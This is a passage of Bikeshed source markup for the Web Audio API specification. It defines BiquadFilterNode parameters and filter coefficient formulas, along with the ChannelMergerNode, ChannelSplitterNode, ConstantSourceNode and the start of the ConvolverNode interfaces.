id=\"BiquadFilterNode-constructors\">\nConstructors</h4>\n\n<dl dfn-type=method dfn-for=\"BiquadFilterNode\">\n\t: <dfn>BiquadFilterNode(context, options)</dfn>\n\t::\n\n\t\t<pre class=include>\n\t\t\tpath: audionode-init.include\n\t\t</pre>\n\n\t\t<pre class=argumentdef for=\"BiquadFilterNode/constructor()\">\n\t\t\tcontext: The {{BaseAudioContext}} this new {{BiquadFilterNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\toptions: Optional initial parameter value for this {{BiquadFilterNode}}.\n\t\t</pre>\n</dl>\n\n<h4 id=\"BiquadFilterNode-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"BiquadFilterNode\">\n\t: <dfn>Q</dfn>\n\t::\n\t\tThe <a href=\"https://en.wikipedia.org/wiki/Q_factor\">Q</a>\n\t\tfactor of the filter.\n\n\t\tFor {{BiquadFilterType/lowpass}} and\n\t\t{{BiquadFilterType/highpass}} filters the\n\t\t{{BiquadFilterNode/Q}} value is interpreted to be in\n\t\tdB.  For these filters the nominal range is\n\t\t\\([-Q_{lim}, Q_{lim}]\\) where \\(Q_{lim}\\) is the largest\n\t\tvalue for which \\(10^{Q/20}\\) does not overflow.  This\n\t\tis approximately \\(770.63678\\).\n\n\t\tFor the {{BiquadFilterType/bandpass}},\n\t\t{{BiquadFilterType/notch}},\n\t\t{{BiquadFilterType/allpass}}, and\n\t\t{{BiquadFilterType/peaking}} filters, this value is a\n\t\tlinear value.  The value is related to the bandwidth\n\t\tof the filter and hence should be a positive value.\n\t\tThe nominal range is \\([0, 3.4028235e38]\\), the upper\n\t\tlimit being the <a>most-positive-single-float</a>.\n\n\t\tThis is not used for the {{BiquadFilterType/lowshelf}}\n\t\tand {{BiquadFilterType/highshelf}} filters.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 1\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38, but see above for the actual limits for different filters\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38, but see above for the actual limits for different filters\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t</pre>\n\n\t: <dfn>detune</dfn>\n\t::\n\t\tA detune value, in cents, for the frequency. It forms a\n\t\t<a>compound parameter</a> with {{BiquadFilterNode/frequency}} to form the <a>computedFrequency</a>.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 0\n\t\t\tmin: \\(\\approx -153600\\)\n\t\t\tmin-notes:\n\t\t\tmax: \\(\\approx 153600\\)\n\t\t\tmax-notes: This value is approximately \\(1200\\ \\log_2 \\mathrm{FLT\\_MAX}\\) where FLT_MAX is the largest {{float}} value.\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t</pre>\n\n\t: <dfn>frequency</dfn>\n\t::\n\t\tThe frequency at which the {{BiquadFilterNode}}\n\t\twill operate, in Hz. It forms a <a>compound parameter</a> with\n\t\t{{BiquadFilterNode/detune}} to form the <a>computedFrequency</a>.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 350\n\t\t\tmin: 0\n\t\t\tmax: <a>Nyquist frequency</a>\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t</pre>\n\n\t: <dfn>gain</dfn>\n\t::\n\t\tThe gain of the filter. Its value is in dB units. The gain is\n\t\tonly used for {{BiquadFilterType/lowshelf}},\n\t\t{{BiquadFilterType/highshelf}}, and\n\t\t{{BiquadFilterType/peaking}} filters.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 0\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: \\(\\approx 1541\\)\n\t\t\tmax-notes: This value is approximately \\(40\\ \\log_{10} \\mathrm{FLT\\_MAX}\\) where FLT_MAX is the largest {{float}} value.\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t</pre>\n\n\t: <dfn>type</dfn>\n\t::\n\t\tThe type of this {{BiquadFilterNode}}. Its\n\t\tdefault value is \"{{BiquadFilterType/lowpass}}\". The exact meaning of the other\n\t\tparameters depend on the value of the {{BiquadFilterNode/type}}\n\t\tattribute.\n</dl>\n\n<h4 id=\"BiquadFilterNode-methods\">\nMethods</h4>\n\n<dl dfn-type=method dfn-for=\"BiquadFilterNode\">\n\t: <dfn>getFrequencyResponse(frequencyHz, magResponse, phaseResponse)</dfn>\n\t::\n\t\t<span class=\"synchronous\">Given the {{[[current value]]}}\n\t\tfrom each of the filter parameters, synchronously\n\t\tcalculates the frequency response for\n\t\tthe specified frequencies. The three parameters MUST be\n\t\t{{Float32Array}}s of the same length, or an\n\t\t{{InvalidAccessError}} MUST be thrown.</span>\n\n\t\tThe frequency response returned MUST be computed with the\n\t\t{{AudioParam}} sampled for the current\n\t\tprocessing block.\n\n\t\t<pre class=argumentdef for=\"BiquadFilterNode/getFrequencyResponse()\">\n\t\t\tfrequencyHz: This parameter specifies an array of frequencies, in Hz, at which the response values will be calculated.\n\t\t\tmagResponse: This parameter specifies an output array receiving the linear magnitude response values. If a value in the <code>frequencyHz</code> parameter is not within [0, sampleRate/2], where <code>sampleRate</code> is the value of the {{BaseAudioContext/sampleRate}} property of the {{AudioContext}}, the corresponding value at the same index of the <code>magResponse</code> array MUST be <code>NaN</code>.\n\t\t\tphaseResponse: This parameter specifies an output array receiving the phase response values in radians. If a value in the <code>frequencyHz</code> parameter is not within [0; sampleRate/2], where <code>sampleRate</code> is the value of the {{BaseAudioContext/sampleRate}} property of the {{AudioContext}}, the corresponding value at the same index of the <code>phaseResponse</code> array MUST be <code>NaN</code>.\n\t\t</pre>\n\n\t\t<div>\n\t\t\t<em>Return type:</em> {{undefined}}\n\t\t</div>\n</dl>\n\n<h4 dictionary lt=\"biquadfilteroptions\" id=\"BiquadFilterOptions\">\n{{BiquadFilterOptions}}</h4>\n\nThis specifies the options to be used when constructing a\n{{BiquadFilterNode}}. All members are optional; if\nnot specified, the normal default values are used to construct the\nnode.\n\n<pre class=\"idl\">\ndictionary BiquadFilterOptions : AudioNodeOptions {\n\tBiquadFilterType type = \"lowpass\";\n\tfloat Q = 1;\n\tfloat detune = 0;\n\tfloat frequency = 350;\n\tfloat gain = 0;\n};\n</pre>\n\n<h5 id=\"dictionary-biquadfilteroptions-members\">\nDictionary {{BiquadFilterOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"BiquadFilterOptions\">\n\t: <dfn>Q</dfn>\n\t:: The desired initial value for {{BiquadFilterNode/Q}}.\n\n\t: <dfn>detune</dfn>\n\t:: The desired initial value for {{BiquadFilterNode/detune}}.\n\n\t: <dfn>frequency</dfn>\n\t:: The desired initial value for {{BiquadFilterNode/frequency}}.\n\n\t: <dfn>gain</dfn>\n\t:: The desired initial value for {{BiquadFilterNode/gain}}.\n\n\t: <dfn>type</dfn>\n\t:: The desired initial type of the filter.\n</dl>\n\n<h4 id=\"filters-characteristics\">\nFilters Characteristics</h4>\n\nThere are multiple ways of implementing the type of filters\navailable through the {{BiquadFilterNode}} each\nhaving very different characteristics. The formulas in this section\ndescribe the filters that a <a>conforming implementation</a> MUST\nimplement, as they determine the characteristics of the different\nfilter types. They are inspired by formulas found in the\n<a href=\"https://webaudio.github.io/Audio-EQ-Cookbook/audio-eq-cookbook.html\">Audio EQ Cookbook</a>.\n\nThe {{BiquadFilterNode}} processes audio with a transfer function of\n\n<pre nohighlight>\n$$\n H(z) = \\frac{\\frac{b_0}{a_0} + \\frac{b_1}{a_0}z^{-1} + \\frac{b_2}{a_0}z^{-2}}\n                                          {1+\\frac{a_1}{a_0}z^{-1}+\\frac{a_2}{a_0}z^{-2}}\n$$\n</pre>\n\nwhich is equivalent to a time-domain equation of:\n\n<pre nohighlight>\n$$\na_0 y(n) + a_1 y(n-1) + a_2 y(n-2) =\n\tb_0 x(n) + b_1 x(n-1) + b_2 x(n-2)\n$$\n</pre>\n\n\nThe initial filter state is 0.\n\nNote: While fixed filters are stable, it is possible to create\nunstable biquad filters using automations of {{AudioParam}}s.  It is\nthe developers responsibility to manage this.\n\nNote: The UA may produce a warning to notify the user that NaN values have occurred in the filter state.  This is usually indicative of an unstable filter.\n\nThe coefficients in the transfer function above are different for\neach node type. The following intermediate variables are necessary for\ntheir computation, based on the <a>computedValue</a> of the\n{{AudioParam}}s of the\n{{BiquadFilterNode}}.\n\n* Let \\(F_s\\) be the value of the {{BaseAudioContext/sampleRate}} attribute for this {{AudioContext}}.\n\n* Let \\(f_0\\) be the value of the <a>computedFrequency</a>.\n\n* Let \\(G\\) be the value of the {{BiquadFilterNode/gain}} {{AudioParam}}.\n\n* Let \\(Q\\) be the value of the {{BiquadFilterNode/Q}} {{AudioParam}}.\n\n* Finally let\n\t<!-- Should \\alpha_S be simplified since S is always 1?-->\n\t<pre nohighlight>\n\t$$\n\t\\begin{align*}\n\t\tA &amp;= 10^{\\frac{G}{40}} \\\\\n\t\t\\omega_0 &amp;= 2\\pi\\frac{f_0}{F_s} \\\\\n\t\t\\alpha_Q &amp;= \\frac{\\sin\\omega_0}{2Q} \\\\\n\t\t\\alpha_{Q_{dB}} &amp;= \\frac{\\sin\\omega_0}{2 \\cdot 10^{Q/20}} \\\\\n\t\tS &amp;= 1 \\\\\n\t\t\\alpha_S &amp;= \\frac{\\sin\\omega_0}{2}\\sqrt{\\left(A+\\frac{1}{A}\\right)\\left(\\frac{1}{S}-1\\right)+2}\n\t\\end{align*}\n\t$$\n\t</pre>\n\nThe six coefficients (\\(b_0, b_1, b_2, a_0, a_1, a_2\\)) for each\nfilter type, are:\n\n: \"{{lowpass}}\"\n::\n\t<pre nohighlight>\n\t$$\n\t\t\\begin{align*}\n\t\t\tb_0 &amp;= \\frac{1 - \\cos\\omega_0}{2} \\\\\n\t\t\tb_1 &amp;= 1 - \\cos\\omega_0 \\\\\n\t\t\tb_2 &amp;= \\frac{1 - \\cos\\omega_0}{2} \\\\\n\t\t\ta_0 &amp;= 1 + \\alpha_{Q_{dB}} \\\\\n\t\t\ta_1 &amp;= -2 \\cos\\omega_0 \\\\\n\t\t\ta_2 &amp;= 1 - \\alpha_{Q_{dB}}\n\t\t\\end{align*}\n\t$$\n\t</pre>\n\n: \"{{highpass}}\"\n::\n\t<pre nohighlight>\n\t$$\n\t\t\\begin{align*}\n\t\t\tb_0 &amp;= \\frac{1 + \\cos\\omega_0}{2} \\\\\n\t\t\tb_1 &amp;= -(1 + \\cos\\omega_0) \\\\\n\t\t\tb_2 &amp;= \\frac{1 + \\cos\\omega_0}{2} \\\\\n\t\t\ta_0 &amp;= 1 + \\alpha_{Q_{dB}} \\\\\n\t\t\ta_1 &amp;= -2 \\cos\\omega_0 \\\\\n\t\t\ta_2 &amp;= 1 - \\alpha_{Q_{dB}}\n\t\t\\end{align*}\n\t$$\n\t</pre>\n\n: \"{{bandpass}}\"\n::\n\t<pre nohighlight>\n\t$$\n\t\t\\begin{align*}\n\t\t\tb_0 &amp;= \\alpha_Q \\\\\n\t\t\tb_1 &amp;= 0 \\\\\n\t\t\tb_2 &amp;= -\\alpha_Q \\\\\n\t\t\ta_0 &amp;= 1 + \\alpha_Q \\\\\n\t\t\ta_1 &amp;= -2 \\cos\\omega_0 \\\\\n\t\t\ta_2 &amp;= 1 - \\alpha_Q\n\t\t\\end{align*}\n\t$$\n\t</pre>\n\n: \"{{notch}}\"\n::\n\t<pre nohighlight>\n\t$$\n\t\t\\begin{align*}\n\t\t\tb_0 &amp;= 1 \\\\\n\t\t\tb_1 &amp;= -2\\cos\\omega_0 \\\\\n\t\t\tb_2 &amp;= 1 \\\\\n\t\t\ta_0 &amp;= 1 + \\alpha_Q \\\\\n\t\t\ta_1 &amp;= -2 \\cos\\omega_0 \\\\\n\t\t\ta_2 &amp;= 1 - \\alpha_Q\n\t\t\\end{align*}\n\t$$\n\t</pre>\n\n: \"{{allpass}}\"\n::\n\t<pre nohighlight>\n\t$$\n\t\t\\begin{align*}\n\t\t\tb_0 &amp;= 1 - \\alpha_Q \\\\\n\t\t\tb_1 &amp;= -2\\cos\\omega_0 \\\\\n\t\t\tb_2 &amp;= 1 + \\alpha_Q \\\\\n\t\t\ta_0 &amp;= 1 + \\alpha_Q \\\\\n\t\t\ta_1 &amp;= -2 \\cos\\omega_0 \\\\\n\t\t\ta_2 &amp;= 1 - \\alpha_Q\n\t\t\\end{align*}\n\t$$\n\t</pre>\n\n: \"{{peaking}}\"\n::\n\t<pre nohighlight>\n\t$$\n\t\t\\begin{align*}\n\t\t\tb_0 &amp;= 1 + \\alpha_Q\\, A \\\\\n\t\t\tb_1 &amp;= -2\\cos\\omega_0 \\\\\n\t\t\tb_2 &amp;= 1 - \\alpha_Q\\,A \\\\\n\t\t\ta_0 &amp;= 1 + \\frac{\\alpha_Q}{A} \\\\\n\t\t\ta_1 &amp;= -2 \\cos\\omega_0 \\\\\n\t\t\ta_2 &amp;= 1 - \\frac{\\alpha_Q}{A}\n\t\t\\end{align*}\n\t$$\n\t</pre>\n\n: \"{{lowshelf}}\"\n::\n\t<pre nohighlight>\n\t$$\n\t\t\\begin{align*}\n\t\t\tb_0 &amp;= A \\left[ (A+1) - (A-1) \\cos\\omega_0 + 2 \\alpha_S \\sqrt{A})\\right] \\\\\n\t\t\tb_1 &amp;= 2 A \\left[ (A-1) - (A+1) \\cos\\omega_0 )\\right] \\\\\n\t\t\tb_2 &amp;= A \\left[ (A+1) - (A-1) \\cos\\omega_0 - 2 \\alpha_S \\sqrt{A}) \\right] \\\\\n\t\t\ta_0 &amp;= (A+1) + (A-1) \\cos\\omega_0 + 2 \\alpha_S \\sqrt{A} \\\\\n\t\t\ta_1 &amp;= -2 \\left[ (A-1) + (A+1) \\cos\\omega_0\\right] \\\\\n\t\t\ta_2 &amp;= (A+1) + (A-1) \\cos\\omega_0 - 2 \\alpha_S \\sqrt{A})\n\t\t\\end{align*}\n\t$$\n\t</pre>\n\n: \"{{highshelf}}\"\n::\n\t<pre nohighlight>\n\t$$\n\t\t\\begin{align*}\n\t\t\tb_0 &amp;= A\\left[ (A+1) + (A-1)\\cos\\omega_0 + 2\\alpha_S\\sqrt{A} )\\right] \\\\\n\t\t\tb_1 &amp;= -2A\\left[ (A-1) + (A+1)\\cos\\omega_0 )\\right] \\\\\n\t\t\tb_2 &amp;= A\\left[ (A+1) + (A-1)\\cos\\omega_0 - 2\\alpha_S\\sqrt{A} )\\right] \\\\\n\t\t\ta_0 &amp;= (A+1) - (A-1)\\cos\\omega_0 + 2\\alpha_S\\sqrt{A} \\\\\n\t\t\ta_1 &amp;= 2\\left[ (A-1) - (A+1)\\cos\\omega_0\\right] \\\\\n\t\t\ta_2 &amp;= (A+1) - (A-1)\\cos\\omega_0 - 2\\alpha_S\\sqrt{A}\n\t\t\\end{align*}\n\t$$\n\t</pre>\n\n\n<!--\n ██████  ██     ██    ███    ██    ██ ██    ██ ████████ ██\n██    ██ ██     ██   ██ ██   ███   ██ ███   ██ ██       ██\n██       ██     ██  ██   ██  ████  ██ ████  ██ ██       ██\n██       █████████ ██     ██ ██ ██ ██ ██ ██ ██ ██████   ██\n██       ██     ██ █████████ ██  ████ ██  ████ ██       ██\n██    ██ ██     ██ ██     ██ ██   ███ ██   ███ ██       ██\n ██████  ██     ██ ██     ██ ██    ██ ██    ██ ████████ ████████\n\n██     ██ ████████ ████████   ██████   ████████ ████████\n███   ███ ██       ██     ██ ██    ██  ██       ██     ██\n████ ████ ██       ██     ██ ██        ██       ██     ██\n██ ███ ██ ██████   ████████  ██   ████ ██████   ████████\n██     ██ ██       ██   ██   ██    ██  ██       ██   ██\n██     ██ ██       ██    ██  ██    ██  ██       ██    ██\n██     ██ ████████ ██     ██  ██████   ████████ ██     ██\n-->\n\n<h3 interface lt=\"channelmergernode\" id=\"ChannelMergerNode\">\nThe {{ChannelMergerNode}} Interface</h3>\n\nThe {{ChannelMergerNode}} is for use in more advanced\napplications and would often be used in conjunction with\n{{ChannelSplitterNode}}.\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: see notes\n\tnoi-notes:  Defaults to 6, but is determined by {{ChannelMergerOptions}},{{ChannelMergerOptions/numberOfInputs}} or the value specified by {{BaseAudioContext/createChannelMerger}}.\n\tnoo: 1\n\tcc: 1\n\tcc-notes: Has <a>channelCount constraints</a>\n\tcc-mode: explicit\n\tcc-mode-notes: Has <a>channelCountMode constraints</a>\n\tcc-interp: speakers\n\ttail-time: No\n</pre>\n\nThis interface represents an {{AudioNode}} for\ncombining channels from multiple audio streams into a single audio\nstream. It has a variable number of inputs (defaulting to 6), but not\nall of them need be connected. There is a single output whose audio\nstream has a number of channels equal to the number of inputs when any\nof the inputs is [=actively processing=].  If none of the inputs are\n[=actively processing=], then output is a single channel of silence.\n\nTo merge multiple inputs into one stream, each input gets downmixed\ninto one channel (mono) based on the specified mixing rule. An\nunconnected input still counts as <b>one silent channel</b> in the\noutput. Changing input streams does <b>not</b> affect the order of\noutput channels.\n\n<div class=example>\n\tFor example, if a default {{ChannelMergerNode}} has\n\ttwo connected stereo inputs, the first and second input will be\n\tdownmixed to mono respectively before merging. The output will be a\n\t6-channel stream whose first two channels are be filled with the\n\tfirst two (downmixed) inputs and the rest of channels will be silent.\n\n\tAlso the {{ChannelMergerNode}} can be used to arrange\n\tmultiple audio streams in a certain order for the multi-channel\n\tspeaker array such as 5.1 surround set up. The merger does not\n\tinterpret the channel identities (such as left, right, etc.), but\n\tsimply combines channels in the order that they are input.\n\n\t<figure>\n\t\t<img alt=\"channel merger\" src=\"images/channel-merger.svg\">\n\t\t<figcaption>\n\t\t\tA diagram of ChannelMerger\n\t\t</figcaption>\n\t</figure>\n</div>\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface ChannelMergerNode : AudioNode {\n\tconstructor (BaseAudioContext context, optional ChannelMergerOptions options = {});\n};\n</pre>\n\n<h4 id=\"ChannelMergerNode-constructors\">\nConstructors</h4>\n\n<dl dfn-type=method dfn-for=\"ChannelMergerNode/constructor\">\n\t: <dfn>ChannelMergerNode(context, options)</dfn>\n\t::\n\n\t\t<pre class=include>\n\t\t\tpath: audionode-init.include\n\t\t</pre>\n\n\t\t<pre class=argumentdef for=\"ChannelMergerNode/constructor()\">\n\t\t\tcontext: The {{BaseAudioContext}} this new {{ChannelMergerNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\toptions: Optional initial parameter value for this {{ChannelMergerNode}}.\n\t\t</pre>\n</dl>\n\n<h4 dictionary lt=\"channelmergeroptions\" id=\"ChannelMergerOptions\">\n{{ChannelMergerOptions}}</h4>\n\n<pre class=\"idl\">\ndictionary ChannelMergerOptions : AudioNodeOptions {\n\tunsigned long numberOfInputs = 6;\n};\n</pre>\n\n<h5 id=\"dictionary-channelmergeroptions-members\">\nDictionary {{ChannelMergerOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"ChannelMergerOptions\">\n\t: <dfn>numberOfInputs</dfn>\n\t:: The number inputs for the {{ChannelMergerNode}}.  See {{BaseAudioContext/createChannelMerger()}} for constraints on this value.\n</dl>\n\n\n<!--\n ██████  ██     ██    ███    ██    ██ ██    ██ ████████ ██\n██    ██ ██     ██   ██ ██   ███   ██ ███   ██ ██       ██\n██       ██     ██  ██   ██  ████  ██ ████  ██ ██       ██\n██       █████████ ██     ██ ██ ██ ██ ██ ██ ██ ██████   ██\n██       ██     ██ █████████ ██  ████ ██  ████ ██       ██\n██    ██ ██     ██ ██     ██ ██   ███ ██   ███ ██       ██\n ██████  ██     ██ ██     ██ ██    ██ ██    ██ ████████ ████████\n\n ██████  ████████  ██       ████ ████████ ████████ ████████ ████████\n██    ██ ██     ██ ██        ██     ██       ██    ██       ██     ██\n██       ██     ██ ██        ██     ██       ██    ██       ██     ██\n ██████  ████████  ██        ██     ██       ██    ██████   ████████\n      ██ ██        ██        ██     ██       ██    ██       ██   ██\n██    ██ ██        ██        ██     ██       ██    ██       ██    ██\n ██████  ██        ████████ ████    ██       ██    ████████ ██     ██\n-->\n\n<h3 interface lt=\"channelsplitternode\" id=\"ChannelSplitterNode\">\nThe {{ChannelSplitterNode}} Interface</h3>\n\nThe {{ChannelSplitterNode}} is for use in more advanced\napplications and would often be used in conjunction with\n{{ChannelMergerNode}}.\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: 1\n\tnoo: see notes\n\tnoo-notes:  This defaults to 6, but is otherwise determined from {{ChannelSplitterOptions/numberOfOutputs|ChannelSplitterOptions.numberOfOutputs}} or the value specified by {{BaseAudioContext/createChannelSplitter}} or the {{ChannelSplitterOptions/numberOfOutputs}} member of the {{ChannelSplitterOptions}} dictionary for the {{ChannelSplitterNode/ChannelSplitterNode()|constructor}}.\n\tcc: {{AudioNode/numberOfOutputs}}\n\tcc-notes: Has <a>channelCount constraints</a>\n\tcc-mode: explicit\n\tcc-mode-notes: Has <a>channelCountMode constraints</a>\n\tcc-interp: discrete\n\tcc-interp-notes: Has <a>channelInterpretation constraints</a>\n\ttail-time: No\n</pre>\n\nThis interface represents an {{AudioNode}} for\naccessing the individual channels of an audio stream in the routing\ngraph. It has a single input, and a number of \"active\" outputs which\nequals the number of channels in the input audio stream. For example,\nif a stereo input is connected to an\n{{ChannelSplitterNode}} then the number of active\noutputs will be two (one from the left channel and one from the\nright). There are always a total number of N outputs (determined by\nthe <code>numberOfOutputs</code> parameter to the\n{{AudioContext}} method {{BaseAudioContext/createChannelSplitter()}}), The\ndefault number is 6 if this value is not provided. Any outputs which\nare not \"active\" will output silence and would typically not be\nconnected to anything.\n\n<div class=example>\n\t<figure>\n\t\t<img alt=\"channel splitter\" src=\"images/channel-splitter.png\" width=\"601\" height=\"398\">\n\t\t<figcaption>\n\t\t\tA diagram of a ChannelSplitter\n\t\t</figcaption>\n\t</figure>\n\n\tPlease note that in this example, the splitter does <b>not</b>\n\tinterpret the channel identities (such as left, right, etc.), but\n\tsimply splits out channels in the order that they are input.\n</div>\n\nOne application for {{ChannelSplitterNode}} is for doing\n\"matrix mixing\" where individual gain control of each channel is\ndesired.\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface ChannelSplitterNode : AudioNode {\n\tconstructor (BaseAudioContext context, optional ChannelSplitterOptions options = {});\n};\n</pre>\n\n<h4 id=\"ChannelSplitterNode-constructors\">\nConstructors</h4>\n\n<dl dfn-type=constructor dfn-for=\"ChannelSplitterNode/constructor()\">\n\t: <dfn>ChannelSplitterNode(context, options)</dfn>\n\t::\n\n\t\t<pre class=include>\n\t\t\tpath: audionode-init.include\n\t\t</pre>\n\n\t\t<pre class=argumentdef for=\"ChannelSplitterNode/constructor()\">\n\t\t\tcontext: The {{BaseAudioContext}} this new {{ChannelSplitterNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\toptions: Optional initial parameter value for this {{ChannelSplitterNode}}.\n\t\t</pre>\n</dl>\n\n<h4 dictionary lt=\"channelsplitteroptions\" id=\"ChannelSplitterOptions\">\n{{ChannelSplitterOptions}}</h4>\n\n<pre class=\"idl\">\ndictionary ChannelSplitterOptions : AudioNodeOptions {\n\tunsigned long numberOfOutputs = 6;\n};\n</pre>\n\n<h5 id=\"dictionary-channelsplitteroptions-members\">\nDictionary {{ChannelSplitterOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"ChannelSplitterOptions\">\n\t: <dfn>numberOfOutputs</dfn>\n\t:: The number outputs for the {{ChannelSplitterNode}}.  See {{BaseAudioContext/createChannelSplitter()}} for constraints on this value.\n</dl>\n\n\n<!--\n ██████   ███████  ██    ██  ██████  ████████    ███    ██    ██ ████████\n██    ██ ██     ██ ███   ██ ██    ██    ██      ██ ██   ███   ██    ██\n██       ██     ██ ████  ██ ██          ██     ██   ██  ████  ██    ██\n██       ██     ██ ██ ██ ██  ██████     ██    ██     ██ ██ ██ ██    ██\n██       ██     ██ ██  ████       ██    ██    █████████ ██  ████    ██\n██    ██ ██     ██ ██   ███ ██    ██    ██    ██     ██ ██   ███    ██\n ██████   ███████  ██    ██  ██████     ██    ██     ██ ██    ██    ██\n\n ██████   ███████  ██     ██ ████████   ██████  ████████\n██    ██ ██     ██ ██     ██ ██     ██ ██    ██ ██\n██       ██     ██ ██     ██ ██     ██ ██       ██\n ██████  ██     ██ ██     ██ ████████  ██       ██████\n      ██ ██     ██ ██     ██ ██   ██   ██       ██\n██    ██ ██     ██ ██     ██ ██    ██  ██    ██ ██\n ██████   ███████   ███████  ██     ██  ██████  ████████\n-->\n\n<h3 interface lt=\"constantsourcenode\" id=\"ConstantSourceNode\">\nThe {{ConstantSourceNode}} Interface</h3>\n\nThis interface represents a constant audio source whose output is\nnominally a constant value. It is useful as a constant source node in\ngeneral and can be used as if it were a constructible\n{{AudioParam}} by automating its\n{{ConstantSourceNode/offset}} or connecting another node to it.\n\nThe single output of this node consists of one channel (mono).\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: 0\n\tnoo: 1\n\tcc: 2\n\tcc-mode: max\n\tcc-interp: speakers\n\ttail-time: No\n</pre>\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface ConstantSourceNode : AudioScheduledSourceNode {\n\tconstructor (BaseAudioContext context, optional ConstantSourceOptions options = {});\n\treadonly attribute AudioParam offset;\n};\n</pre>\n\n<h4 id=\"ConstantSourceNode-constructors\">\nConstructors</h4>\n\n<dl dfn-type=method dfn-for=\"ConstantSourceNode/constructor()\">\n\t: <dfn>ConstantSourceNode(context, options)</dfn>\n\t::\n\n\t\t<pre class=include>\n\t\t\tpath: audionode-init.include\n\t\t</pre>\n\n\t\t<pre class=argumentdef for=\"ConstantSourceNode/constructor()\">\n\t\t\tcontext: The {{BaseAudioContext}} this new {{ConstantSourceNode}} will be <a href=\"#associated\">associated</a> with.\n\t\t\toptions: Optional initial parameter value for this {{ConstantSourceNode}}.\n\t\t</pre>\n</dl>\n\n<h4 id=\"ConstantSourceNode-attributes\">\nAttributes</h4>\n\n<dl dfn-type=attribute dfn-for=\"ConstantSourceNode\">\n\t: <dfn>offset</dfn>\n\t::\n\t\tThe constant value of the source.\n\n\t\t<pre class=include>\n\t\tpath: audioparam.include\n\t\tmacros:\n\t\t\tdefault: 1\n\t\t\tmin: <a>most-negative-single-float</a>\n\t\t\tmin-notes: Approximately -3.4028235e38\n\t\t\tmax: <a>most-positive-single-float</a>\n\t\t\tmax-notes: Approximately 3.4028235e38\n\t\t\trate: \"{{AutomationRate/a-rate}}\"\n\t\t</pre>\n</dl>\n\n<h4 dictionary lt=\"constantsourceoptions\" id=\"ConstantSourceOptions\">\n{{ConstantSourceOptions}}</h4>\n\nThis specifies options for constructing a\n{{ConstantSourceNode}}. All members are optional;\nif not specified, the normal defaults are used for constructing the\nnode.\n\n<pre class=\"idl\">\ndictionary ConstantSourceOptions {\n\tfloat offset = 1;\n};\n</pre>\n\n<h5 id=\"dictionary-constantsourceoptions-members\">\nDictionary {{ConstantSourceOptions}} Members</h5>\n\n<dl dfn-type=dict-member dfn-for=\"ConstantSourceOptions\">\n\t: <dfn>offset</dfn>\n\t:: The initial value for the {{ConstantSourceNode/offset}} AudioParam of this node.\n</dl>\n\n\n<!--\n ██████   ███████  ██    ██ ██     ██  ███████  ██       ██     ██ ████████ ████████\n██    ██ ██     ██ ███   ██ ██     ██ ██     ██ ██       ██     ██ ██       ██     ██\n██       ██     ██ ████  ██ ██     ██ ██     ██ ██       ██     ██ ██       ██     ██\n██       ██     ██ ██ ██ ██ ██     ██ ██     ██ ██       ██     ██ ██████   ████████\n██       ██     ██ ██  ████  ██   ██  ██     ██ ██        ██   ██  ██       ██   ██\n██    ██ ██     ██ ██   ███   ██ ██   ██     ██ ██         ██ ██   ██       ██    ██\n ██████   ███████  ██    ██    ███     ███████  ████████    ███    ████████ ██     ██\n-->\n\n<h3 interface lt=\"convolvernode\" id=\"ConvolverNode\">\nThe {{ConvolverNode}} Interface</h3>\n\nThis interface represents a processing node which applies a linear\nconvolution effect given an impulse response.\n\n<pre class=include>\npath: audionode.include\nmacros:\n\tnoi: 1\n\tnoo: 1\n\tcc: 2\n\tcc-notes: Has <a>channelCount constraints</a>\n\tcc-mode: clamped-max\n\tcc-mode-notes: Has <a>channelCountMode constraints</a>\n\tcc-interp: speakers\n\ttail-time: Yes\n\ttail-time-notes: Continues to output non-silent audio with zero input for the length of the {{ConvolverNode/buffer}}.\n</pre>\n\nThe input of this node is either mono (1 channel) or stereo (2\nchannels) and cannot be increased. Connections from nodes with more\nchannels will be <a href=\"#channel-up-mixing-and-down-mixing\">down-mixed appropriately</a>.\n\nThere are <a>channelCount constraints</a> and <a>channelCountMode\nconstraints</a> for this node. These constraints ensure that the\ninput to the node is either mono or stereo.\n\n<pre class=\"idl\">\n[Exposed=Window]\ninterface ConvolverNode : AudioNode {\n\tconstructor (BaseAudioContext context, optional ConvolverOptions options = {});\n\tattribute AudioBuffer? buffer;\n\tattribute boolean normalize;\n};\n</pre>\n\n<h4 id=\"ConvolverNode-constructors\">\nConstructors</h4>\n\n<dl dfn-type=constructor dfn-for=\"ConvolverNode/constructor()\">\n\t: <dfn>ConvolverNode(context, options)</dfn>\n\t::\n\t\tWhen the constructor is called with a {{BaseAudioContext}} <var>context</var> and\n\t\tan option object <var>options</var>, execute these steps:\n\n\t\t1. Set the attributes {{ConvolverNode/normalize}} to the inverse of the\n\t\t\tvalue of {{ConvolverOptions/disableNormalization}}.\n\t\t2. If {{ConvolverNode/buffer}}\n\t\t        <a for=map>exists</a>, set the\n\t\t\t{{ConvolverNode/buffer}} attribute to its 